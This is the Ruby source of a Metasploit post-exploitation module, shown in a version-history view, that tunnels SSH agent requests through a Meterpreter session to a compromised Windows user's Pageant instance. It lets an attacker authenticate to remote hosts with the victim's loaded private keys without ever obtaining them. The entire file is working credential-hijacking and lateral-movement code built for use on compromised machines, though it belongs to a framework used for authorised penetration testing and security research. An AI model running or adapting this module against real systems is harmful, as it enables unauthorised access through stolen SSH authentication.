metasploit-framework/modules/post/windows/manage/forward_pageant.rb

102 lines
4.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
2015-05-19 08:55:38 +00:00
require 'tmpdir'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'Forward SSH agent requests to Pageant',
'Description' => %q{
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
If a target Windows machine is compromised and is running Pageant, this will allow the
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
tunnelled through the meterpreter session. This could therefore be used to authenticate
with a remote host using a private key which is loaded into a remote user's Pageant instance,
without ever having knowledge of the private key itself.
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
loaded into the remote meterpreter session by this module if it is not already loaded.
},
'License' => MSF_LICENSE,
'Author' => [
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
2015-05-19 09:56:04 +00:00
register_options(
[
2015-05-19 10:34:25 +00:00
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil]),
2015-05-19 09:56:04 +00:00
], self.class)
2015-05-19 08:55:38 +00:00
end
def run
# Attempt to load the pageantjacker extension if it isn't already loaded.
2015-05-19 08:55:38 +00:00
if(!session.pageantjacker)
2015-05-19 09:33:32 +00:00
print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})")
2015-05-19 08:55:38 +00:00
session.core.use("pageantjacker")
end
# Fail if it cannot be loaded
2015-05-19 08:55:38 +00:00
if(!session.pageantjacker)
2015-05-19 09:33:32 +00:00
print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})")
2015-05-19 08:55:38 +00:00
return false
end
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
2015-05-19 09:56:04 +00:00
if datastore['SocketPath']
@sockpath = datastore['SocketPath'].to_s
else
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
end
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
if ::File.exists?(@sockpath)
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
2015-05-19 08:55:38 +00:00
return false
end
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
::UNIXServer.open(@sockpath) {|serv|
2015-05-19 10:34:25 +00:00
print_status("Launched listening socket on #{@sockpath}")
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
2015-05-19 08:55:38 +00:00
print_status("Now use any tool normally (e.g. ssh-add)")
2015-05-19 09:56:04 +00:00
2015-05-19 08:55:38 +00:00
loop {
s = serv.accept
loop {
socket_request_data = s.recvfrom(8192)
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
2015-05-19 10:34:25 +00:00
response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)
if response[:success]
s.send response[:blob],0
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{response[:error]}')")
else
print_error("PageantJacker: Unsuccessful response received (#{response[:error]})")
2015-05-19 10:34:25 +00:00
end
2015-05-19 08:55:38 +00:00
}
}
}
end
def cleanup
2015-05-19 09:56:04 +00:00
if @sockpath
if ::File.exists?(@sockpath)
::File.delete(@sockpath)
end
2015-05-19 08:55:38 +00:00
end
end
end